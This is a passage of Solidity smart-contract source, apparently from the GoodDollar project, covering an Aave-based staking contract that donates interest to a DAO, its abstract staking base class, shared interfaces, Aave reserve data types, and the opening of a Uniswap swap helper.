instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(
address implementation,
bytes32 salt,
address deployer
) internal pure returns (address predicted) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt)
internal
view
returns (address predicted)
{
return predictDeterministicAddress(implementation, salt, address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "../SimpleStakingV2.sol";
import "../../Interfaces.sol";
import "../../utils/DataTypes.sol";
import "../UniswapV2SwapHelper.sol";
/**
* @title Staking contract that donates earned interest to the DAO
* allowing stakers to deposit Token
* or withdraw their stake in Token
* the contracts buy cToken and can transfer the daily interest to the DAO
*/
contract GoodAaveStakingV2 is SimpleStakingV2 {
using UniswapV2SwapHelper for IHasRouter;
// Address of the TOKEN/USD oracle from chainlink
address public tokenUsdOracle;
//LendingPool of aave
ILendingPool public lendingPool;
//Address of the AaveIncentivesController
IAaveIncentivesController public incentiveController;
//address of the AAVE/USD oracle
address public aaveUSDOracle;
// Gas cost to collect interest from this staking contract
uint32 public collectInterestGasCost;
// Gas cost to claim stkAave rewards
uint32 public stkAaveClaimGasCost;
address[] public tokenToDaiSwapPath;
/**
* @param _token Token to swap DEFI token
* @param _lendingPool LendingPool address
* @param _ns Address of the NameService
* @param _tokenName Name of the staking token which will be provided to staker for their staking share
* @param _tokenSymbol Symbol of the staking token which will be provided to staker for their staking share
* @param _tokenSymbol Determines blocks to pass for 1x Multiplier
* @param _tokenUsdOracle address of the TOKEN/USD oracle
* @param _incentiveController Aave incentive controller which provides AAVE rewards
* @param _aaveUSDOracle address of the AAVE/USD oracle
*/
function init(
address _token,
address _lendingPool,
INameService _ns,
string memory _tokenName,
string memory _tokenSymbol,
uint64 _maxRewardThreshold,
address _tokenUsdOracle,
IAaveIncentivesController _incentiveController,
address _aaveUSDOracle,
address[] memory _tokenToDaiSwapPath
) public {
lendingPool = ILendingPool(_lendingPool);
DataTypes.ReserveData memory reserve = lendingPool.getReserveData(_token);
initialize(
_token,
reserve.aTokenAddress,
_ns,
_tokenName,
_tokenSymbol,
_maxRewardThreshold
);
require(
_tokenToDaiSwapPath[0] == _token &&
_tokenToDaiSwapPath[_tokenToDaiSwapPath.length - 1] ==
nameService.getAddress("DAI"),
"invalid _tokenToDaiSwapPath"
);
tokenToDaiSwapPath = _tokenToDaiSwapPath;
//above initialize going to revert on second call, so this is safe
tokenUsdOracle = _tokenUsdOracle;
incentiveController = _incentiveController;
aaveUSDOracle = _aaveUSDOracle;
collectInterestGasCost = 250000;
stkAaveClaimGasCost = 50000;
_approveTokens();
}
/**
* @dev stake some Token
* @param _amount of Token to stake
*/
function mintInterestToken(uint256 _amount) internal override {
lendingPool.deposit(address(token), _amount, address(this), 0);
}
/**
* @dev redeem Token from aave
* @param _amount of token to redeem in Token
*/
function redeem(uint256 _amount) internal override {
uint256 withdrawnAmount = lendingPool.withdraw(
address(token),
_amount,
address(this)
);
require(withdrawnAmount > 0, "Withdrawn amount should be bigger than zero");
}
/**
* @dev Function to redeem aToken for DAI, so reserve knows how to handle it. (reserve can handle dai or cdai)
* also transfers stkaave to reserve
* @dev _amount of token in iToken
* @dev _recipient recipient of the DAI
* @return actualTokenGains amount of token redeemed for dai,
actualRewardTokenGains amount of reward token earned,
daiAmount total dai received
*/
function redeemUnderlyingToDAI(uint256 _amount, address _recipient)
internal
override
returns (
uint256 actualTokenGains,
uint256 actualRewardTokenGains,
uint256 daiAmount
)
{
//out of requested interests to withdraw how much is it safe to swap
actualTokenGains = IHasRouter(this).maxSafeTokenAmount(
address(token),
tokenToDaiSwapPath[1],
_amount,
maxLiquidityPercentageSwap
);
lendingPool.withdraw(address(token), actualTokenGains, address(this));
actualTokenGains = token.balanceOf(address(this));
address[] memory tokenAddress = new address[](1);
tokenAddress[0] = address(iToken);
actualRewardTokenGains = incentiveController.claimRewards(
tokenAddress,
type(uint256).max,
avatar
);
if (actualTokenGains > 0) {
daiAmount = IHasRouter(this).swap(
tokenToDaiSwapPath,
actualTokenGains,
0,
_recipient
);
}
}
/**
* @dev returns decimals of token.
*/
function tokenDecimal() internal view override returns (uint256) {
ERC20 token = ERC20(address(token));
return uint256(token.decimals());
}
/**
* @dev returns decimals of interest token.
*/
function iTokenDecimal() internal view override returns (uint256) {
ERC20 aToken = ERC20(address(iToken));
return uint256(aToken.decimals());
}
/**
* @dev Function that calculates current interest gains of this staking contract
* @param _returnTokenBalanceInUSD determine return token balance of staking contract in USD
* @param _returnTokenGainsInUSD determine return token gains of staking contract in USD
* @return iTokenGains gains in iToken, tokenGains gains in token, tokenBalance current balance , balanceInUSD, tokenGainsInUSD
*/
function currentGains(
bool _returnTokenBalanceInUSD,
bool _returnTokenGainsInUSD
)
public
view
override
returns (
uint256 iTokenGains,
uint256 tokenGains,
uint256 tokenBalance,
uint256 balanceInUSD,
uint256 tokenGainsInUSD
)
{
ERC20 aToken = ERC20(address(iToken));
tokenBalance = aToken.balanceOf(address(this));
balanceInUSD = _returnTokenBalanceInUSD
? getTokenValueInUSD(tokenUsdOracle, tokenBalance, token.decimals())
: 0;
address[] memory tokenAddress = new address[](1);
tokenAddress[0] = address(token);
if (tokenBalance <= totalProductivity) {
return (0, 0, tokenBalance, balanceInUSD, 0);
}
iTokenGains = tokenGains = tokenBalance - totalProductivity;
tokenGainsInUSD = _returnTokenGainsInUSD
? getTokenValueInUSD(tokenUsdOracle, tokenGains, token.decimals())
: 0;
}
/**
* @dev Function to get interest transfer cost for this particular staking contract
*/
function getGasCostForInterestTransfer()
external
view
override
returns (uint32)
{
address[] memory tokenAddress = new address[](1);
tokenAddress[0] = address(iToken);
uint256 stkAaaveBalance = incentiveController.getRewardsBalance(
tokenAddress,
address(this)
);
if (stkAaaveBalance > 0)
return collectInterestGasCost + stkAaveClaimGasCost;
return collectInterestGasCost;
}
/**
* @dev Set Gas cost to interest collection for this contract
* @param _collectInterestGasCost Gas cost to collect interest
* @param _rewardTokenCollectCost gas cost to collect reward tokens
*/
function setcollectInterestGasCostParams(
uint32 _collectInterestGasCost,
uint32 _rewardTokenCollectCost
) external {
_onlyAvatar();
collectInterestGasCost = _collectInterestGasCost;
stkAaveClaimGasCost = _rewardTokenCollectCost;
}
/**
* @dev Calculates worth of given amount of iToken in Token
* @param _amount Amount of token to calculate worth in Token
* @return Worth of given amount of token in Token
*/
function iTokenWorthInToken(uint256 _amount)
internal
view
override
returns (uint256)
{
return _amount; // since aToken is peg to Token 1:1 return exact amount
}
function _approveTokens() internal {
address uniswapRouter = nameService.getAddress("UNISWAP_ROUTER");
token.approve(uniswapRouter, type(uint256).max);
token.approve(address(lendingPool), type(uint256).max); // approve the transfers to defi protocol as much as possible in order to save gas
}
}
// SPDX-License-Identifier: MIT
import { DataTypes } from "./utils/DataTypes.sol";
pragma solidity >=0.8.0;
pragma experimental ABIEncoderV2;
interface ERC20 {
function balanceOf(address addr) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
function mint(address to, uint256 mintAmount) external returns (uint256);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Transfer(
address indexed from,
address indexed to,
uint256 amount,
bytes data
);
}
interface cERC20 is ERC20 {
function mint(uint256 mintAmount) external returns (uint256);
function redeemUnderlying(uint256 mintAmount) external returns (uint256);
function redeem(uint256 mintAmount) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function underlying() external returns (address);
}
interface IGoodDollar is ERC20 {
function getFees(uint256 value) external view returns (uint256, bool);
function burn(uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
function renounceMinter() external;
function addMinter(address minter) external;
function isMinter(address minter) external view returns (bool);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
) external returns (bool);
function formula() external view returns (address);
}
interface IERC2917 is ERC20 {
/// @dev This emit when interests amount per block is changed by the owner of the contract.
/// It emits with the old interests amount and the new interests amount.
event InterestRatePerBlockChanged(uint256 oldValue, uint256 newValue);
/// @dev This emit when a users' productivity has changed
/// It emits with the user's address and the the value after the change.
event ProductivityIncreased(address indexed user, uint256 value);
/// @dev This emit when a users' productivity has changed
/// It emits with the user's address and the the value after the change.
event ProductivityDecreased(address indexed user, uint256 value);
/// @dev Return the current contract's interests rate per block.
/// @return The amount of interests currently producing per each block.
function interestsPerBlock() external view returns (uint256);
/// @notice Change the current contract's interests rate.
/// @dev Note the best practice will be restrict the gross product provider's contract address to call this.
/// @return The true/fase to notice that the value has successfully changed or not, when it succeed, it will emite the InterestRatePerBlockChanged event.
function changeInterestRatePerBlock(uint256 value) external returns (bool);
/// @notice It will get the productivity of given user.
/// @dev it will return 0 if user has no productivity proved in the contract.
/// @return user's productivity and overall productivity.
function getProductivity(address user)
external
view
returns (uint256, uint256);
/// @notice increase a user's productivity.
/// @dev Note the best practice will be restrict the callee to prove of productivity's contract address.
/// @return true to confirm that the productivity added success.
function increaseProductivity(address user, uint256 value)
external
returns (bool);
/// @notice decrease a user's productivity.
/// @dev Note the best practice will be restrict the callee to prove of productivity's contract address.
/// @return true to confirm that the productivity removed success.
function decreaseProductivity(address user, uint256 value)
external
returns (bool);
/// @notice take() will return the interests that callee will get at current block height.
/// @dev it will always calculated by block.number, so it will change when block height changes.
/// @return amount of the interests that user are able to mint() at current block height.
function take() external view returns (uint256);
/// @notice similar to take(), but with the block height joined to calculate return.
/// @dev for instance, it returns (_amount, _block), which means at block height _block, the callee has accumulated _amount of interests.
/// @return amount of interests and the block height.
function takeWithBlock() external view returns (uint256, uint256);
/// @notice mint the avaiable interests to callee.
/// @dev once it mint, the amount of interests will transfer to callee's address.
/// @return the amount of interests minted.
function mint() external returns (uint256);
}
interface Staking {
struct Staker {
// The staked DAI amount
uint256 stakedDAI;
// The latest block number which the
// staker has staked tokens
uint256 lastStake;
}
function stakeDAI(uint256 amount) external;
function withdrawStake() external;
function stakers(address staker) external view returns (Staker memory);
}
interface Uniswap {
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function WETH() external pure returns (address);
function factory() external pure returns (address);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountOut(
uint256 amountI,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountsOut(uint256 amountIn, address[] memory path)
external
pure
returns (uint256[] memory amounts);
}
interface UniswapFactory {
function getPair(address tokenA, address tokenB)
external
view
returns (address);
}
interface UniswapPair {
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function kLast() external view returns (uint256);
function token0() external view returns (address);
function token1() external view returns (address);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
}
interface Reserve {
function buy(
address _buyWith,
uint256 _tokenAmount,
uint256 _minReturn
) external returns (uint256);
}
interface IIdentity {
function isWhitelisted(address user) external view returns (bool);
function addWhitelistedWithDID(address account, string memory did) external;
function removeWhitelisted(address account) external;
function addIdentityAdmin(address account) external returns (bool);
function setAvatar(address _avatar) external;
function isIdentityAdmin(address account) external view returns (bool);
function owner() external view returns (address);
event WhitelistedAdded(address user);
}
interface IUBIScheme {
function currentDay() external view returns (uint256);
function periodStart() external view returns (uint256);
function hasClaimed(address claimer) external view returns (bool);
}
interface IFirstClaimPool {
function awardUser(address user) external returns (uint256);
function claimAmount() external view returns (uint256);
}
interface ProxyAdmin {
function getProxyImplementation(address proxy)
external
view
returns (address);
function getProxyAdmin(address proxy) external view returns (address);
function upgrade(address proxy, address implementation) external;
function owner() external view returns (address);
function transferOwnership(address newOwner) external;
}
/**
* @dev Interface for chainlink oracles to obtain price datas
*/
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestAnswer() external view returns (int256);
}
/**
@dev interface for AAVE lending Pool
*/
interface ILendingPool {
/**
* @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens.
* - E.g. User deposits 100 USDC and gets in return 100 aUSDC
* @param asset The address of the underlying asset to deposit
* @param amount The amount to be deposited
* @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
* wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
* is a different wallet
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
**/
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external;
/**
* @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned
* E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC
* @param asset The address of the underlying asset to withdraw
* @param amount The underlying amount to be withdrawn
* - Send the value type(uint256).max in order to withdraw the whole aToken balance
* @param to Address that will receive the underlying, same as msg.sender if the user
* wants to receive it on his own wallet, or a different address if the beneficiary is a
* different wallet
* @return The final amount withdrawn
**/
function withdraw(
address asset,
uint256 amount,
address to
) external returns (uint256);
/**
* @dev Returns the state and configuration of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The state of the reserve
**/
function getReserveData(address asset)
external
view
returns (DataTypes.ReserveData memory);
}
interface IDonationStaking {
function stakeDonations() external payable;
}
interface INameService {
function getAddress(string memory _name) external view returns (address);
}
interface IAaveIncentivesController {
/**
* @dev Claims reward for an user, on all the assets of the lending pool, accumulating the pending rewards
* @param amount Amount of rewards to claim
* @param to Address that will be receiving the rewards
* @return Rewards claimed
**/
function claimRewards(
address[] calldata assets,
uint256 amount,
address to
) external returns (uint256);
/**
* @dev Returns the total of rewards of an user, already accrued + not yet accrued
* @param user The address of the user
* @return The rewards
**/
function getRewardsBalance(address[] calldata assets, address user)
external
view
returns (uint256);
}
interface IGoodStaking {
function collectUBIInterest(address recipient)
external
returns (
uint256,
uint256,
uint256
);
function iToken() external view returns (address);
function currentGains(
bool _returnTokenBalanceInUSD,
bool _returnTokenGainsInUSD
)
external
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256
);
function getRewardEarned(address user) external view returns (uint256);
function getGasCostForInterestTransfer() external view returns (uint256);
function rewardsMinted(
address user,
uint256 rewardsPerBlock,
uint256 blockStart,
uint256 blockEnd
) external returns (uint256);
}
interface IHasRouter {
function getRouter() external view returns (Uniswap);
}
interface IAdminWallet {
function addAdmins(address payable[] memory _admins) external;
function removeAdmins(address[] memory _admins) external;
function owner() external view returns (address);
function transferOwnership(address _owner) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "../Interfaces.sol";
import "../DAOStackInterfaces.sol";
import "../utils/NameService.sol";
import "../utils/DAOContract.sol";
import "./GoodFundManager.sol";
import "./BaseShareFieldV2.sol";
import "../governance/StakersDistribution.sol";
import "./UniswapV2SwapHelper.sol";
/**
* @title Staking contract that donates earned interest to the DAO
* allowing stakers to deposit Tokens
* or withdraw their stake in Tokens
* the FundManager can request to receive the interest
*/
abstract contract SimpleStakingV2 is
ERC20Upgradeable,
DAOContract,
BaseShareFieldV2,
ReentrancyGuardUpgradeable,
IHasRouter
{
// Token address
ERC20 public token;
// Interest Token address
ERC20 public iToken;
// emergency pause
bool public isPaused;
//max percentage of token/dai pool liquidity to swap to DAI when collecting interest out of 100000
uint24 public maxLiquidityPercentageSwap = 300; //0.3%
uint256 public lockedUSDValue;
/**
* @dev Emitted when `staker` stake `value` tokens of `token`
*/
event Staked(address indexed staker, address token, uint256 value);
/**
* @dev Emitted when `staker` withdraws their stake `value` tokens and contracts balance will
* be reduced to`remainingBalance`.
*/
event StakeWithdraw(address indexed staker, address token, uint256 value);
/**
* @dev Emitted when fundmanager transfers intrest collected from defi protrocol.
* `recipient` will receive `intrestTokenValue` as intrest.
*/
event InterestCollected(
address recipient,
uint256 iTokenGains, // interest accrued
uint256 tokenGains, // interest worth in underlying token value
uint256 actualTokenRedeemed, //actual token redeemed in uniswap (max 0.3% of liquidity) to DAI
uint256 actualRewardTokenEarned, //actual reward token earned
uint256 interestCollectedInDAI //actual dai sent to the reserve as interest from converting token and optionally reward token in uniswap
);
/**
* @dev Constructor
* @param _token The address of Token
* @param _iToken The address of Interest Token
* @param _ns The address of the INameService contract
* @param _tokenName The name of the staking token
* @param _tokenSymbol The symbol of the staking token
* @param _maxRewardThreshold the blocks that should pass to get 1x reward multiplier
*/
function initialize(
address _token,
address _iToken,
INameService _ns,
string memory _tokenName,
string memory _tokenSymbol,
uint64 _maxRewardThreshold
) public virtual initializer {
setDAO(_ns);
token = ERC20(_token);
iToken = ERC20(_iToken);
__ERC20_init(_tokenName, _tokenSymbol);
require(token.decimals() <= 18, "decimals");
tokenDecimalDifference = 18 - token.decimals();
maxMultiplierThreshold = _maxRewardThreshold;
}
function setMaxLiquidityPercentageSwap(uint24 _maxPercentage) public virtual {
_onlyAvatar();
maxLiquidityPercentageSwap = _maxPercentage;
}
/**
* @dev Calculates worth of given amount of iToken in Token
* @param _amount Amount of iToken to calculate worth in Token
* @return Worth of given amount of iToken in Token
*/
function iTokenWorthInToken(uint256 _amount)
internal
view
virtual
returns (uint256);
/**
* @dev Get gas cost for interest transfer so can be used in the calculation of collectable interest for particular gas amount
* @return returns hardcoded gas cost
*/
function getGasCostForInterestTransfer()
external
view
virtual
returns (uint32);
/**
* @dev Returns decimal value for token.
*/
function tokenDecimal() internal view virtual returns (uint256);
/**
* @dev Returns decimal value for intrest token.
*/
function iTokenDecimal() internal view virtual returns (uint256);
/**
* @dev Redeem invested tokens from defi protocol.
* @param _amount tokens to be redeemed.
*/
function redeem(uint256 _amount) internal virtual;
/**
* @dev Redeem invested underlying tokens from defi protocol and exchange into DAI
* @param _amount tokens to be redeemed
* @return amount of token swapped to dai, amount of reward token swapped to dai, total dai
*/
function redeemUnderlyingToDAI(uint256 _amount, address _recipient)
internal
virtual
returns (
uint256,
uint256,
uint256
);
/**
* @dev Invests staked tokens to defi protocol.
* @param _amount tokens staked.
*/
function mintInterestToken(uint256 _amount) internal virtual;
/**
* @dev Function that calculates current interest gains of this staking contract
* @param _returnTokenBalanceInUSD determine return token balance of staking contract in USD
* @param _returnTokenGainsInUSD determine return token gains of staking contract in USD
* @return return gains in itoken,Token and worth of total locked Tokens,token balance in USD (8 decimals),token Gains in USD (8 decimals)
*/
function currentGains(
bool _returnTokenBalanceInUSD,
bool _returnTokenGainsInUSD
)
public
view
virtual
returns (
uint256,
uint256,
uint256,
uint256,
uint256
);
/**
* @dev Allows a staker to deposit Tokens. Notice that `approve` is
* needed to be executed before the execution of this method.
* Can be executed only when the contract is not paused.
* @param _amount The amount of Token or iToken to stake (it depends on _inInterestToken parameter)
* @param _donationPer The % of interest staker want to donate.
* @param _inInterestToken specificy if stake in iToken or Token
*/
function stake(
uint256 _amount,
uint256 _donationPer,
bool _inInterestToken
) external virtual nonReentrant {
require(isPaused == false, "Staking is paused");
require(_donationPer == 0 || _donationPer == 100, "donationPer");
require(_amount > 0, "amount");
require(
(_inInterestToken ? iToken : token).transferFrom(
_msgSender(),
address(this),
_amount
),
"approve"
);
_amount = _inInterestToken ? iTokenWorthInToken(_amount) : _amount;
if (_inInterestToken == false) {
mintInterestToken(_amount); //mint iToken
}
_mint(_msgSender(), _amount); // mint Staking token for staker
(
uint32 rewardsPerBlock,
uint64 blockStart,
uint64 blockEnd,
) = GoodFundManager(nameService.getAddress("FUND_MANAGER"))
.rewardsForStakingContract(address(this));
_increaseProductivity(
_msgSender(),
_amount,
rewardsPerBlock,
blockStart,
blockEnd,
_donationPer
);
(, , , uint256 lockedValueInUSD, ) = currentGains(true, false);
lockedUSDValue = lockedValueInUSD;
//notify GDAO distrbution for stakers
StakersDistribution sd = StakersDistribution(
nameService.getAddress("GDAO_STAKERS")
);
if (address(sd) != address(0)) {
sd.userStaked(_msgSender(), _convertValueTo18Decimals(_amount));
}
emit Staked(_msgSender(), address(token), _amount);
}
/**
* @dev Withdraws the sender staked Token.
* @param _amount Amount to withdraw in Token or iToken
* @param _inInterestToken if true _amount is in iToken and also returned in iToken other wise use Token
*/
function withdrawStake(uint256 _amount, bool _inInterestToken)
external
virtual
nonReentrant
{
uint256 tokenWithdraw;
if (_inInterestToken) {
uint256 tokenWorth = iTokenWorthInToken(_amount);
require(iToken.transfer(_msgSender(), _amount), "iWithdraw");
tokenWithdraw = _amount = tokenWorth;
} else {
tokenWithdraw = _amount;
redeem(tokenWithdraw);
//this is required for redeem precision loss
uint256 tokenActual = token.balanceOf(address(this));
if (tokenActual < tokenWithdraw) {
tokenWithdraw = tokenActual;
}
require(token.transfer(_msgSender(), tokenWithdraw), "withdraw");
}
GoodFundManager fm = GoodFundManager(
nameService.getAddress("FUND_MANAGER")
);
(, , , uint256 lockedValueInUSD, ) = currentGains(true, false);
lockedUSDValue = lockedValueInUSD;
//this will revert in case user doesnt have enough productivity to withdraw _amount, as productivity=staking tokens amount
_burn(msg.sender, _amount); // burn their staking tokens
(uint32 rewardsPerBlock, uint64 blockStart, uint64 blockEnd, ) = fm
.rewardsForStakingContract(address(this));
_decreaseProductivity(
_msgSender(),
_amount,
rewardsPerBlock,
blockStart,
blockEnd
);
fm.mintReward(nameService.getAddress("CDAI"), _msgSender()); // send rewards to user and use cDAI address since reserve in cDAI
//notify GDAO distrbution for stakers
StakersDistribution sd = StakersDistribution(
nameService.getAddress("GDAO_STAKERS")
);
if (address(sd) != address(0)) {
sd.userWithdraw(_msgSender(), _convertValueTo18Decimals(_amount));
}
emit StakeWithdraw(msg.sender, address(token), tokenWithdraw);
}
/**
* @dev withdraw staker G$ rewards + GDAO rewards
* withdrawing rewards resets the multiplier! so if user just want GDAO he should use claimReputation()
*/
function withdrawRewards() external nonReentrant {
GoodFundManager(nameService.getAddress("FUND_MANAGER")).mintReward(
nameService.getAddress("CDAI"),
_msgSender()
); // send rewards to user and use cDAI address since reserve in cDAI
claimReputation();
}
/**
* @dev withdraw staker GDAO rewards
*/
function claimReputation() public {
//claim reputation rewards
StakersDistribution sd = StakersDistribution(
nameService.getAddress("GDAO_STAKERS")
);
if (address(sd) != address(0)) {
address[] memory contracts = new address[](1);
contracts[0] = (address(this));
sd.claimReputation(_msgSender(), contracts);
}
}
/**
* @dev notify stakersdistribution when user performs transfer operation
*/
function _transfer(
address _from,
address _to,
uint256 _value
) internal override {
super._transfer(_from, _to, _value);
StakersDistribution sd = StakersDistribution(
nameService.getAddress("GDAO_STAKERS")
);
(
uint32 rewardsPerBlock,
uint64 blockStart,
uint64 blockEnd,
) = GoodFundManager(nameService.getAddress("FUND_MANAGER"))
.rewardsForStakingContract(address(this));
_decreaseProductivity(_from, _value, rewardsPerBlock, blockStart, blockEnd);
_increaseProductivity(
_to,
_value,
rewardsPerBlock,
blockStart,
blockEnd,
0
);
if (address(sd) != address(0)) {
uint256 _convertedValue = _convertValueTo18Decimals(_value);
sd.userWithdraw(_from, _convertedValue);
sd.userStaked(_to, _convertedValue);
}
}
function _convertValueTo18Decimals(uint256 _amount)
internal
view
returns (uint256 amountInEighteenDecimals)
{
amountInEighteenDecimals = token.decimals() == 18
? _amount
: _amount * 10**(18 - token.decimals());
}
// @dev To find difference in token's decimal and iToken's decimal
// @return difference in decimals.
// @return true if token's decimal is more than iToken's
function tokenDecimalPrecision() internal view returns (uint256, bool) {
uint256 _tokenDecimal = tokenDecimal();
uint256 _iTokenDecimal = iTokenDecimal();
uint256 decimalDifference = _tokenDecimal > _iTokenDecimal
? _tokenDecimal - _iTokenDecimal
: _iTokenDecimal - _tokenDecimal;
return (decimalDifference, _tokenDecimal > _iTokenDecimal);
}
/**
* @dev Collects gained interest by fundmanager.
* @param _recipient The recipient of cDAI gains
* @return actualTokenRedeemed actualRewardTokenRedeemed actualDai collected interest from token,
* collected interest from reward token, total DAI received from swapping token+reward token
*/
function collectUBIInterest(address _recipient)
public
virtual
returns (
uint256 actualTokenRedeemed,
uint256 actualRewardTokenRedeemed,
uint256 actualDai
)
{
_canMintRewards();
(uint256 iTokenGains, uint256 tokenGains, , , ) = currentGains(
false,
false
);
(
actualTokenRedeemed,
actualRewardTokenRedeemed,
actualDai
) = redeemUnderlyingToDAI(iTokenGains, _recipient);
emit InterestCollected(
_recipient,
iTokenGains,
tokenGains,
actualTokenRedeemed,
actualRewardTokenRedeemed,
actualDai
);
}
/**
* @dev making the contract inactive
* NOTICE: this could theoretically result in future interest earned in cdai to remain locked
*/
function pause(bool _isPaused) public {
_onlyAvatar();
isPaused = _isPaused;
}
/**
* @dev method to recover any stuck ERC20 tokens (ie compound COMP)
* @param _token the ERC20 token to recover
*/
function recover(ERC20 _token) public {
_onlyAvatar();
uint256 toWithdraw = _token.balanceOf(address(this));
// recover left iToken(stakers token) only when all stakes have been withdrawn
if (address(_token) == address(iToken)) {
require(totalProductivity == 0 && isPaused, "recover");
}
require(_token.transfer(address(avatar), toWithdraw), "transfer");
}
/**
@dev function calculate Token price in USD
@param _oracle chainlink oracle usd/token oralce
@param _amount Amount of Token to calculate worth of it
@param _decimals decimals of Token
@return Returns worth of Tokens in USD
*/
function getTokenValueInUSD(
address _oracle,
uint256 _amount,
uint256 _decimals
) public view returns (uint256) {
AggregatorV3Interface tokenPriceOracle = AggregatorV3Interface(_oracle);
int256 tokenPriceinUSD = tokenPriceOracle.latestAnswer();
return (uint256(tokenPriceinUSD) * _amount) / (10**_decimals); // tokenPriceinUSD in 8 decimals and _amount is in Token's decimals so we divide it to Token's decimal at the end to reduce 8 decimals back
}
function _canMintRewards() internal view override {
require(_msgSender() == nameService.getAddress("FUND_MANAGER"), "fund");
}
function decimals() public view virtual override returns (uint8) {
return token.decimals();
}
/**
* @param _staker account to get rewards status for
* @return (minted, pending) in G$ 2 decimals
*/
function getUserMintedAndPending(address _staker)
external
view
returns (uint256, uint256)
{
(
uint32 rewardsPerBlock,
uint64 blockStart,
uint64 blockEnd,
) = GoodFundManager(nameService.getAddress("FUND_MANAGER"))
.rewardsForStakingContract(address(this));
uint256 pending = getUserPendingReward(
_staker,
rewardsPerBlock,
blockStart,
blockEnd
);
//divide by 1e16 to return in 2 decimals
return (users[_staker].rewardMinted / 1e16, pending / 1e16);
}
function getRouter() public view override returns (Uniswap) {
return Uniswap(nameService.getAddress("UNISWAP_ROUTER"));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library DataTypes {
// refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties.
struct ReserveData {
//stores the reserve configuration
ReserveConfigurationMap configuration;
//the liquidity index. Expressed in ray
uint128 liquidityIndex;
//variable borrow index. Expressed in ray
uint128 variableBorrowIndex;
//the current supply rate. Expressed in ray
uint128 currentLiquidityRate;
//the current variable borrow rate. Expressed in ray
uint128 currentVariableBorrowRate;
//the current stable borrow rate. Expressed in ray
uint128 currentStableBorrowRate;
uint40 lastUpdateTimestamp;
//tokens addresses
address aTokenAddress;
address stableDebtTokenAddress;
address variableDebtTokenAddress;
//address of the interest rate strategy
address interestRateStrategyAddress;
//the id of the reserve. Represents the position in the list of the active reserves
uint8 id;
}
struct ReserveConfigurationMap {
//bit 0-15: LTV
//bit 16-31: Liq. threshold
//bit 32-47: Liq. bonus
//bit 48-55: Decimals
//bit 56: Reserve is active
//bit 57: reserve is frozen
//bit 58: borrowing is enabled
//bit 59: stable rate borrowing enabled
//bit 60-63: reserved
//bit 64-79: reserve factor
uint256 data;
}
enum InterestRateMode { NONE, STABLE, VARIABLE }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "../utils/DAOContract.sol";
import "../Interfaces.sol";
library UniswapV2SwapHelper {
/**
*@dev Helper to calculate percentage out of token liquidity in pool that is safe to exchange against sandwich attack.
* also checks if token->eth has better safe limit, so perhaps doing tokenA->eth->tokenB is better than tokenA->tokenB
* in that case it could be that eth->tokenB can be attacked because we dont know if eth received for tokenA->eth is less than _maxPercentage of the liquidity in
* eth->tokenB. In our use case it is always eth->dai so either it will be safe or very minimal
*@param _inToken address of token we are swapping
*@param _outToken address of swap result token
